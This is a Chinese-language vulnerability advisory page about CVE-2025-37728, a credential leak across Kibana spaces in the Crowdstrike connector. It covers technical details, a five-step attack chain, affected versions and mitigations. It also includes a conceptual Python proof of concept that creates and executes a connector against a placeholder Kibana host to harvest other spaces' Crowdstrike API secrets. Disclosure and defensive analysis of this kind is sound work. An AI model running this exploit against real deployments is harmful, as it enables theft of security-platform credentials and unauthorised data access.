IPBUF安全漏洞报告
English
CVE-2025-37728 CVSS 5.4 中危

CVE-2025-37728 Kibana Crowdstrike连接器凭据泄露漏洞

披露日期: 2025-10-07

漏洞信息

漏洞编号
CVE-2025-37728
漏洞类型
凭据保护不足/信息泄露
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Elastic Kibana Crowdstrike Connector

相关标签

凭据泄露信息泄露KibanaElasticCrowdstrike连接器跨空间访问访问控制缺陷ESA-2025-19中危漏洞

漏洞概述

CVE-2025-37728是Elastic Kibana中Crowdstrike连接器组件存在的一个凭据保护不足漏洞。该漏洞由Elastic安全团队([email protected])发现并报告,CVSS 3.1评分为5.4分,属于中危级别。

Kibana是Elastic Stack的重要组成部分,提供了强大的数据可视化和分析功能。Crowdstrike连接器是Kibana中用于与Crowdstrike安全平台集成的组件,允许用户在Kibana中查询和使用Crowdstrike Falcon平台的安全事件和告警数据。该连接器需要用户配置Crowdstrike API凭据(如API客户端ID和密钥)才能正常工作。

该漏洞的核心问题在于Kibana的Crowdstrike连接器在缓存和存储凭据时缺乏足够的访问控制保护。Kibana支持多空间(Space)功能,不同空间之间存在逻辑隔离,但由于Crowdstrike连接器的凭据缓存机制存在缺陷,导致在一个空间中创建的连接器凭据可能被另一个空间中的用户访问。

攻击者只需在其拥有访问权限的空间中创建并运行一个新的Crowdstrike连接器,就可能读取到其他空间中已缓存的Crowdstrike凭据信息。这种跨空间凭据泄露可能导致Crowdstrike API凭据被未授权用户获取,进而利用这些凭据访问Crowdstrike Falcon平台,执行未授权的安全查询操作,或窃取相关的安全事件数据。

技术细节

Kibana的Crowdstrike连接器在设计上需要存储API凭据以便于后续的数据查询操作。这些凭据通常包括Crowdstrike Falcon API的客户端ID(Client ID)和客户端密钥(Client Secret),属于高敏感度的认证信息。

该漏洞的技术根源在于连接器凭据缓存机制缺乏适当的访问控制检查。正常情况下,Kibana的Space功能应确保不同空间之间的资源(包括连接器配置和凭据)相互隔离。然而,Crowdstrike连接器在实现上存在缺陷:当用户在其有权限的空间中创建并运行一个Crowdstrike连接器时,系统未能正确限制凭据检索的范围,导致连接器可以访问到其他空间中缓存的Crowdstrike凭据。

攻击利用方式如下:
1. 攻击者首先需要拥有Kibana中至少一个Space的访问权限(低权限即可);
2. 攻击者在自己的Space中创建一个新的Crowdstrike连接器,配置任意测试凭据;
3. 运行该连接器触发凭据查询操作;
4. 由于缓存机制缺陷,连接器从缓存中读取凭据时,可能返回其他Space中存储的Crowdstrike API凭据;
5. 攻击者获取到其他Space的Crowdstrike凭据后,可利用这些凭据直接访问Crowdstrike Falcon API。

该漏洞需要用户交互(UI:R),因为攻击者需要主动创建和运行连接器才能触发凭据泄露。同时需要低权限认证(PR:L),攻击者仅需拥有任意Space的基本访问权限即可实施攻击。

攻击链分析

STEP 1
步骤1:获取Kibana访问权限
攻击者获取Kibana中至少一个Space的低权限访问权限,可通过合法账号注册或利用其他漏洞获得。
STEP 2
步骤2:创建恶意Crowdstrike连接器
攻击者在其拥有权限的Space中创建一个新的Crowdstrike连接器,配置任意测试用API凭据。
STEP 3
步骤3:触发凭据缓存查询
运行该Crowdstrike连接器,由于连接器凭据缓存机制缺乏跨空间访问控制,系统从全局缓存中读取凭据时返回其他Space存储的凭据。
STEP 4
步骤4:提取泄露的凭据
攻击者从连接器的执行结果或内部状态中提取其他Space的Crowdstrike API客户端ID和密钥。
STEP 5
步骤5:利用泄露凭据访问Crowdstrike
使用获取的Crowdstrike Falcon API凭据直接访问Crowdstrike平台,执行未授权的安全数据查询和数据窃取操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-37728 PoC - Kibana Crowdstrike Connector Credential Leakage # This PoC demonstrates the conceptual exploitation of the insufficiently # protected credentials vulnerability in Kibana's Crowdstrike connector. import requests import json KIBANA_URL = "https://kibana-target.example.com" ATTACKER_SESSION = "attacker_session_cookie" TARGET_SPACE_ID = "default" # Space where victim's Crowdstrike connector exists ATTACKER_SPACE_ID = "attacker-space" # Space attacker has access to # Step 1: Authenticate to Kibana (attacker has low-privilege access to attacker-space) headers = { "kbn-xsrf": "true", "Content-Type": "application/json", "Cookie": f"security_session={ATTACKER_SESSION}" } # Step 2: Create a malicious Crowdstrike connector in attacker's own space connector_payload = { "name": "legitimate-looking-connector", "connector_type_id": ".crowdstrike", "space_id": ATTACKER_SPACE_ID, "config": { # Use dummy credentials - the vulnerability triggers during connector execution "clientId": "dummy_client_id", "clientSecret": "dummy_client_secret" }, "secrets": { # Secrets that will be replaced by leaked credentials due to caching flaw } } print("[*] Creating Crowdstrike connector in attacker's space...") response = requests.post( f"{KIBANA_URL}/api/actions/connector", headers=headers, json=connector_payload, verify=False ) connector_id = response.json().get("id") print(f"[+] Connector created with ID: {connector_id}") # Step 3: Execute the connector to trigger credential cache lookup # The vulnerability causes the connector to read cached credentials # from other spaces during execution execute_payload = { "params": { "subAction": "runQuery", "subActionParams": { "query": "*" } } } print("[*] Executing connector to trigger credential leakage...") response = requests.post( f"{KIBANA_URL}/api/actions/connector/{connector_id}/_execute", headers=headers, json=execute_payload, verify=False ) # Step 4: Extract leaked credentials from response result = response.json() print(f"[+] Execution result: {json.dumps(result, indent=2)}") # In a real exploitation scenario, the leaked Crowdstrike credentials # could be extracted from the connector's internal state or error messages # containing cached credential references from other spaces.

影响范围

Kibana < 8.18.8
Kibana < 8.19.5
Kibana < 9.0.8
Kibana < 9.1.5

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)限制Kibana用户的Space访问权限,仅授予可信用户连接器创建权限;2)在Kibana中临时禁用Crowdstrike连接器功能;3)监控并审计所有Crowdstrike连接器的创建和执行活动;4)在Crowdstrike Falcon平台轮换API凭据以降低泄露风险;5)启用Kibana的详细审计日志记录所有连接器相关操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表